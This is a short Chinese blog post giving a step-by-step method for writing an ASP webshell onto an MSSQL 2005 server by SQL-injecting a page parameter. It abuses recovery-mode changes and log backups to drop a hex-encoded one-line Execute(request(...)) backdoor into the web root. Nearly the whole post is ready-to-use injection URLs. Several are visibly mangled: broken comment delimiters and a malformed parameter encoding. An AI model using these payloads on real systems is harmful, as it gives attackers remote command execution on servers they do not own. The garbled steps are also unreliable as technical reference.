MSSQL 2005 LOG备份webshell的方法

注:转载就注入出自'孤孤浪子博客'原创
http://itpro.blog.163.com

第一步


http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

第二步:


http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to//disk%3D@d//with//init--

第三步


http://itpro.blog.163.com/test.asp';drop/
/table//[itpro]-- 第四步
http://itpro.blog.163.com/test.asp';create/
/table//[itpro]([a]//image)-- 第五步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to//disk%3D@d//with//init-- 第六步
http://itpro.blog.163.com/test.asp';insert/
/into//itpro//values(0x3C254578656375746528726571756573742822697470726F222929253E)-- 第七步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to//disk%3D@d//with//init-- 第八步
http://itpro.blog.163.com/test.asp';drop/
/table//[itpro]-- 第九步
http://itpro.blog.163.com/test.asp';declare/
/@d//nvarchar(4000)//select//@d%3D0x640062006200610063006B00//backup//log//[netwebhome]//to//disk%3D@d//with//init-- By:孤狐浪子QQ:393214425

相关文章

SELECT a.*,b.dp_name,c.pa_name,fm_name=(CASE WHEN a.fm_n...
if not exists(select name from syscolumns where name=&am...
select a.*,pano=a.pa_no,b.pa_name,f.dp_name,e.fw_state_n...
要在 SQL Server 2019 中设置定时自动重启,可以使用 Window...
您收到的错误消息表明数据库 'EastRiver' 的...
首先我需要查询出需要使用SQL Server Profiler跟踪的数据库标...